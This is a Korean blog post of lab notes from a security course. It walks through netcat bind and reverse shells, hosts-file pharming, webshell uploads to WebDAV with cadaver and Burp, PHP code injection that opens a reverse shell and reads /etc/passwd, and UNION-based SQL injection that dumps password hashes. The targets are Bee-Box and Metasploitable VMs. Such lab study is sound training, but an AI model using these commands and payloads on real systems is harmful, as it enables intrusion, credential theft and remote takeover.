ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Backdoor, Trojan Horse, WebDAV, Cadaver, Bee-Box - 백도어, 트로이 목마 WebDAV, Cadaver 사용 Bee-Box 문제 풀이
    Security 2022. 5. 12. 01:35

    Bee-Box

    Note

    난독화 (Obfuscation)

    사람은 읽기 어렵지만, 웹브라우저가 읽고 해석해서 동작하기 때문에 알지 못하고 먹는 것과 유사한 상황

    처음에는 개발자들이 웹사이트의 구조 또는 기밀 정보를 숨기기 위한 목적으로 사용

    공격자들도 자신이 만든 스크립트를 알아보기 어렵게 하기 위해서 많이 사용

    난독화를 통해 숨기는 것은 악성코드를 다운로드하는 URL, 악성코드의 이름, 행위 등등

     

    웹쉘(Webshell)

    - 웹서버에 업로드하면 원격에서 웹서버를 조종할 수 있음 (Deface 공격도 가능)

    - 대부분 난독화를 사용

    - 처음에는 웹서버를 편리하게 관리하기 위해서 사용했지만 최근에는 웹서버를 공격하기 위한 첫 번째 공격으로 사용

     

    *Netcat

    Network에서 Cat처럼 왔다갔다 한다는 별명이 있는 실행파일

    RAT의 일종 (RAT : Remote Access Trojan) : 네트워크 기능이 있는 실행파일(PE : Portable Executable, 윈도우 실행파일, mz~)

    54 kbytes짜리 작은 용량으로 서버도 되고 클라이언트도 됨

    윈도우 명령, 리눅스 명령을 바로 사용할 수 있기 때문에 웹쉘에서 하기 어려운 기능도 가능

    Backdoor 또는 Trojan으로 활용할 수 있음

     

    Backdoor

    Trojan

    Backdoor 실습

    실습해보겠습니다. vmware로 2개를 실행시킵니다.

    Windows Server 2003(Victim)을 실행 hp12345

    Kali Linux(Attacker)를 실행

    kali / kali

    1) Victim : Windows Server 2003 : Server

    nc -l -p 8000 -e cmd.exe

    cd \
    dir
    nc -l -p 8000 -e cmd.exe

     

    2) Attacker : Kali Linux : Client

    ls
    sudo nmap -sn 192.168.5.100-150

    sudo nc 192.168.5.141 8080 #192.168.5.141은 Windows Server 2003의 IP Address
    cd docu [tap 키 : 자동완성]
    cd adm [tap 키 : 자동완성]
    cd my [tap 키 : 자동완성]
    dir

    Kali Linux에서 Windows Server 2003의 경로를 확인하실 수 있습니다.

    백도어는 방화벽에 막혀서 외부에서 대부분 차단되며 접근이 쉽지 않습니다.

     

    Trojan horse

    그리스 군이 트로이라는 도시를 공격할 때 사용했던 공성 무기 (트로이 전쟁)

    목마를 버리고 거짓 퇴각, 목마 안에 병사들이 숨어 있음, 성문을 열고 그리스 병사를 불러들임

    속임수를 써서 메일을 보냄, 첨부 파일 안에 악성코드가 들어있음, 악성코드는 외부로 연결

     

    1) Attacker : Kali : Server

    $sudo nc -l -p 8000 // 8000번 포트를 열고 대기 (서버 모드)

    $sudo nc -l -p 8000 #8000번 포트를 열고 대기 (서버 모드)

    2) Victim : Windows Server 2003 : Client

    cmd> nc 192.168.5.128 8000 -e cmd.exe // Victim에서 cmd.exe의 권한을 공격자에게 제공

    nc 192.168.5.128 8000 -e cmd.exe

    설정하게 되면

    Kali Linux에서는 Windows의 C Prompt 보는 것이 가능해집니다.

     

    파밍(Pharming)하기

    cd windows\\system32drivers\\etc

    echo 223.130.195.200 hello.com>>host

    223.130.195.200은 Naver의 IP Address입니다.

    이렇게 해서 hello.com에 접속을 시도하면 naver.com에 들어가져야 하는데 안되네요..

    가짜 주소로 들어오게 하는 방법으로 사용할 수 있겠습니다.

     

    ++ 두 번째의 코드 ++

    echo 223.130.195.200 hello.com>>hosts

    로 바꾸면 된다고 합니다. 감사합니다.

     

    Kali Linux에서 Windows Server 2003 파일 지우기

    cd \
    cd do [tap 키 : 자동완성]
    cd adm [tap 키 : 자동완성]
    cd my [tap 키 : 자동완성]

    dir

    cd sysinternals

    dir

    del Eula.txt

    지워진 것을 확인할 수 있습니다.

    Windows Server 2003에서도 지워진 것을 확인해 줍니다.

     

    Backdoor

    Webshell

    http://192.168.5.141/uploadfile/cmdjsp.jsp 접속 (IP address-Windows Server 2003)

    C:\nc.exe -l -p 8000 -e cmd.exe 입력

    Kali Linux

    nc 192.168.5.131 8000 (IP address-Windows Server 2003, port)

    nc 192.168.5.131 8000

    실행되는 것을 확인할 수 있습니다.

    Trojan Horse (트로이 목마)

    Kali Linux에서 입력해줍니다.

    $sudo nc -l -p 9000

    sudo nc -l -p 9000

    Webshell 창에서 입력해줍니다.

    C:\nc 192.168.5.128 9000 -e cmd.exe

    Webshell에서의 입력 화면

     

    실행되었음을 알 수 있습니다.

    Note

    Owasp

    : Top 10의 의미 최근의 웹 보안 트렌드를 알려주기 때문

    SQLi, XSS, WebShell 등 > 하위로 포함되어 있음

     

    OAuth : Open Authorization (개방형 권한 부여)

    : naver, kakao facebook twitter 등의 계정으로 신문사 사이트에 댓글을 달거나 피자 사이트에 로그인하는 것

     

    실습해보겠습니다.

    Metasploitable2 켭니다.

    IP Address 확인

    Metasploit2 IP Address 접속

    WebDAV 선택

    WebDAV

    - 웹 사이트를 공동으로 개발하는 경우, 파일을 직접 수정하거나 업로드할 수 있도록 만든 디렉토리 (편리는 보안의 적)

    - 악성코드(웹쉘)를 업로드하면 매우 위험합니다.

     

    cadaver를 이용한 Upload

    cadaver는 시체(...)라는 뜻을 가지고 있습니다.

    Kali Linux에 들어가서

    cd /usr/share/webshells/php #Kali Linux에 있는 WebShell을 Upload하기 위해
    sudo cadaver http://192.168.5.129/dav/
    put qsd-php-backdoor.php

    처음에 put qsd-backdoor.php는 실패한 것을 볼 수 있는데 파일명을 제대로 입력하지 않았기 때문이었습니다.
    WebDav에도 생성된 것을 확인할 수 있었습니다.

    Upload 했던 qsd-php-backdoor.php를 클릭해줍니다.

    클릭하면 이렇게 창이 생성됩니다.
    database에는 dvwa를 query에는 select * from users;를 입력해줍니다.
    dvwa database의 uses의 테이블을 볼 수 있습니다.

    user admin의 password를 decode 해보았습니다.

    decode 결과 password는 password인 것을 알 수 있었습니다.

    해쉬값 변경해주는 사이트입니다.

    hashes.com

    https://hashes.com/en/decrypt/hash

     

    Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online

    Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked

    hashes.com

     

    Burp Suite 이용한 Upload

    WebDAV 새로 고침을 누르면 Burp Suite에 GET 요청 Intercept 됩니다.

    GET을 PUT으로 바꾸고, /dav/r57shell.php를 추가(1번 라인), body 부분(11번 라인)에 r57shell.php의 소스코드를 붙여 넣습니다.

    PUT으로 바꿔넣고 php를 추가하고 php의 소스코드를 붙여넣은 상태

    Forward를 클릭해줍니다. Intercept는 off 하겠습니다.

    WebDAV에 Created가 표시됩니다.

    http://192.168.5.129/dav 페이지를 새로고침 해주시면

    r57shell.php가 WebDAV에 생성된 것을 확인할 수 있습니다.

    r57shell.php을 열면 base64로 인코딩 되어 있음을 알 수 있습니다. (8bit * 3 -> 6bit * 4 사이즈가 증가)

    길게 암호화가 되어있는데 DQp에서 == 부분만 복사해서

    Malzilla의 Misc Decoders에 붙여 넣고 Decode Base64 클릭하면 평문으로 바뀝니다.

    Malzilla > Misc Decorders > 코드 붙여넣기 > Decode Base64

    Notepad++에 붙여넣고 맨 앞에는 <?php 추가하고, 맨뒤에는 ?>를 추가해줍니다.

    파일의 이름은 r57shelldecode.php로 저장하겠습니다.

    *  파일명에 띄어쓰기는 하지 마시기 바랍니다. *

    Kali Linux의 /home/kali에 붙여 넣어주겠습니다.

    Windows10에서 Kali Linux로 복사
    /home/kali로 옮긴 모습

    여기서 좀 헤맸는데 파일명에 띄어쓰기는 하시면 안 됩니다. 방법이 따로 있는진 모르겠지만 연습하는 저는 절대 안 되더라고요.

    put /home/kali/r57shelldecode.php

    성공적으로 업로드 되었습니다.

     

    WebDAV에도 성공적으로 업로드 되었습니다.

    * 안전하지 않은 암호화 또는 해쉬 함수

    - 대칭키 : DES, 3DES, RC4

    - 공개키 : RSA1024bit 이하

    - 해쉬 함수 : MD5, SHA1

     

    * 원문이 같아도 다른 salt를 섞으면 다른 해시값이 나오게 됨

    - 원문+salt1 = 해시값1

    - 원문+salt2 = 해시값2

     

    * 다중 인증 : 2가지 이상의 인증 방법을 사용하는 방식 (MFA : Multi-Factor Authenication)

    - 공인인증서 : 공인인증서 파일(소유 기반) + 비밀번호(지식 기반)

    - 스마트폰 앱 인터넷 뱅킹 : 지문(생체 기반) + 비밀번호(지식 기반)

    - 아이핀(iPin) : 1차 비밀번호(지식) + 2차 비밀번호(지식) -> 다중 인증(MFA)이 안됨

     

    Bee-Box

    실습 준비물

    beebox version1.6.7

    VMware로 bee-box.vmx open

    settings에 Network Adapter에서 Bridged에서 NAT로 변경

    Play Virtual Machine

    벨기에 자판을 한국어로 변경

    - bWAPP - OWASP Top 10 2013의 100문제로 만들어져 있음.

     

    A1 - Injection / HTML Injection - Reflected (GET)

    : HTML 태그를 Injection 하는 것이 목적

    Security level : low

    <h1>hacked</h1>

    <img src=images/bee_1.png>

    실행
    결과

    Security level : medium

    medium은 Web Browser에서 특수문자를 HTML 태그로 변환해서 보내기 때문에 UTF-8로 Encoding 해서 입력하면 됨

    BlueBell Decoder 사용

    <h1>hacked</h1>을 URL(UTF-8)로 변환하니 값이 %3ch1%3ehacked%3c%2fh1%3e가 나왔습니다.
    UTF-8로 변환된 값을 First name과 Last name에 넣어줍니다.
    성공

     

    PHP Code Injection

    : message를 누르면 test가 출력되는 방식

    message를 눌러서 test가 출력된 모습

    읽어 들일 파일은 /etc/passwd, /etc/hosts, /etc/apache2/apache2.conf 등

    Security level : low

    Hint - 주소표시줄에 test라는 글자가 있음

    message를 누르면 아래에 test가 표시됨과 동시에 주소표시줄에도 나타납니다.

    주소창에 message=sysyem(whoami)

    message=system(whoami) 표시
    message=system(pwd) 표시
    message=system('cat /etc/passwd') 표시

    Kali Linux에서 9000번 Port를 열고 대기합니다.

    sudo nc -l -p 9000

    Bee-Box의 주소창에 message=system('nc 192.168.5.128 9000 -e /bin/sh')을 입력해줍니다.

    http://192.168.5.139/bWAPP/phpi.php?message=system('nc 192.168.5.128 9000 -e /bin/sh')
    접속 완료

     

    SQL Injection (GET/Search)

    : SQL을 활용해서 정보를 획득하는 방법

    Low

    모든 영화 다 출력하려면

    SELECT * FROM ?? WHERE movie='' or 1=1 #  ';

    SELECT * FROM ?? WHERE movie='' or 'a'='a   ';

    모든 영화가 다 출력된 모습입니다.

    Create User

    유저 생성창

    제가 만든 유저는 ID, PW 순으로

    kmk 1q2w3e4r

    lhr 1q2w3e4r

    gd 1q2w3e4r

    kidmilli 1q2w3e4r

     

    1. union select를 사용하기 위해 앞의 select문에서 사용한 column의 개수를 알아내기 위해 하나씩 넣어봅니다.

    ' union select 1 #

    ' union select 1,2 #

    ' union select 1,2,3 #

    ' union select 1,2,3,4 #

    ' union select 1,2,3,4,5 #

    ' union select 1,2,3,4,5,6 #

    ' union select 1,2,3,4,5,6,7,8 #

    위의 union select는 모두 이 결과가 나온다.

    ' union select 1,2,3,4,5,6,7 #

    2,3,4,5번만 출력되는 것을 알 수 있습니다.
    0번 영화가 없기 때문에 영화 이름은 나오지 않게 됩니다.

    2. DB 이름 알아내기

    -database(), @@version, version(), user() 등

    0' union select 1,database(),3,version(),user(),6,7 #

    DB이름 알아내기 완료

    DB의 이름은 bWAPP

     

    3. Table 이름 알아내기

    : information_schema > tables > tabls_name

     

    0' union select 1,table_name,3,4,5,6,7 from information_schema.tables #                                                // 모든 DB의 테이블 이름이 보입니다.

    0' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' # // DB를 bWAPP로 지정합니다.

    Table들의 이름 확인

    blog, heroes, movies, users, visitors의 Table 이름들을 확인했습니다.

     

    4. Column 이름 알아내기

    0' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema='bWAPP' #

    Column의 이름 확인

    users Table의 id, login, password, email, secret, activation_code, actovated, reset_code, admin Column의 이름들을 알아냈습니다.

     

    5. Login 계정과 Password 알아내기

    0' union select 1,id,login,password,5,6,7 from users #

    로그인 계정들의 ID와 Password를 확인했으나 Password가 해쉬값으로 되어있음을 알 수 있습니다.
    해쉬값을 Crack하니 설정했던 비밀번호가 결과값으로 나왔습니다.

    hash cracker 사이트 : https://crackstation.net/

     

    CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

    Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

    crackstation.net

     

    SQL Injection (GET/Select)

    : 전과 달리 검색할 수 있는 창이 없는 상태로 주소 표시줄에서 작업을 진행하도록 하겠습니다.

    http://192.168.5.139/bWAPP/sqli_2.php?movie=0 union select 1, id,login,password,5,6,7 from users#

    // 주소표시줄이므로 ' 사용하지 않습니다.
    http://192.168.5.139/bWAPP/sqli_2.php?movie=11 union select 1, id,login,password,5,6,7 from users#

    // 1~10번까지 영화가 있으므로 없는 번호 선택합니다.
    users 테이블의 가장 상단에 있는 계정인 A.I.M의 계정이 나오고 패스워드 6885858486f31043e5839c735d99457f045affd0이 해쉬값으로 표현되어 표시됩니다.

    users Table의 가장 상단에 있는 A.I.M의 계정 정보가 표시됨을 확인했습니다.

    해쉬값인 6885858486f31043e5839c735d99457f045affd0을 Crack 해보겠습니다.

    Crack 결과 bug로 확인되었습니다.

    A4 - Insecure DOR (Order Tickets)

    DOR(Direct Object Reference) : 직접 객체 참조
    티켓을 구입하려고 하는데 가격이 15 EUR로 책정되어 있습니다.
    구매할 티켓의 개수를 입력해서 계산을 하는 방식인데 4장의 티켓을 구매하는데 1유로만 내려면 어떻게 해야 할까요?

     

    1. 개발자 도구를 사용하는 방법

    - F12 개발자 도구(Internet Explorer)를 눌러서 DOM 탐색기를 들어가 줍니다.

    개발자 도구 왼쪽 상단 네모에 화살표가 있는 아이콘이 요소 선택(Ctrl + B)인데 눌러서 티켓 가격 입력하는 부근에 클릭해줍니다.

    그러면 ticket_price에 대한 정보가 있으며 value값이 15로 되어 있는 것을 확인됩니다.

    F12 개발자 도구를 켜서 확인하고 있습니다.

    이것을 필요에 맞게 수정하면 되는데 4장에 1 유로면 0.25를 넣어주면 4 ticket을 구매하면 1 EUR로 표시가 됩니다. 

    value값을 클릭해서 수정해줍니다.

    2. Brup Suite를 사용하는 방법

    프록시 서버를 켜고 Intercept is on을 하고 진행하면 Intercept 됩니다.

    이때 Burp Suite를 확인하면 ticket_price=15를 확인할 수 있습니다. 

    값을 수정하고 Forward

    개발자 도구를 사용했을 때와 같이 값을 수정하고 Forward를 눌러주면 원하는 값을 얻을 수 있습니다.

    4 movie tickets = 1EUR

     

    A6 - Base64 Encoding (Secret)

    알아보기 어려운 값의 내용은?

    Security level : low

    앞서서 Chrome의 확장 프로그램 Cookie-Editor를 설치해줍니다.

    쿠키값에 있는 시크릿의 내용은? QW55IGJ1Z3M%2F

    secret의 값을 얻었습니다.
    Decode에 QW55IGJ1Z3M%2F를 넣고 URL(UTF-8)을 눌러줍니다.
    UTF-8로 Decode된 값 QW55IGJ1Z3M/를 Decode에 넣어 BASE64를 눌러줍니다.

    그러면 Decode 되는 Any bugs?

    Secret = Any bugs?

     

    Security level : medium

    scret 값을 얻었습니다.
    40 * 4bit = 160bit(sha1) -> any bugs?

    https://hashes.com/

     

    Decrypt MD5, SHA1, MySQL, NTLM, SHA256, SHA512, Wordpress, Bcrypt hashes for free online

    Hashes.com is a hash lookup service. This allows you to input an MD5, SHA-1, Vbulletin, Invision Power Board, MyBB, Bcrypt, Wordpress, SHA-256, SHA-512, MYSQL5 etc hash and search for its corresponding plaintext ("found") in our database of already-cracked

    hashes.com

    Insecure WebDAV Configuration

    :  WebDAV 클릭하고 pdf파일이 있는 디렉토리에 WebShell을 업로드하기

    WebDAV가 클릭할 수 있게 활성화 되어있습니다.
    이렇게 WebDAV가 열리고 영화 pdf 목록을 확인할 수 있습니다.

    sudo cadaver http://192.168.5.139/webdav/
    put /usr/share/webshells/php/php-backdoor.php

    php-backdoor.php의 경로 확인
    성공적으로 업로드를 완료했습니다.
    업로드 완료했습니다.

    댓글

Designed by Tistory.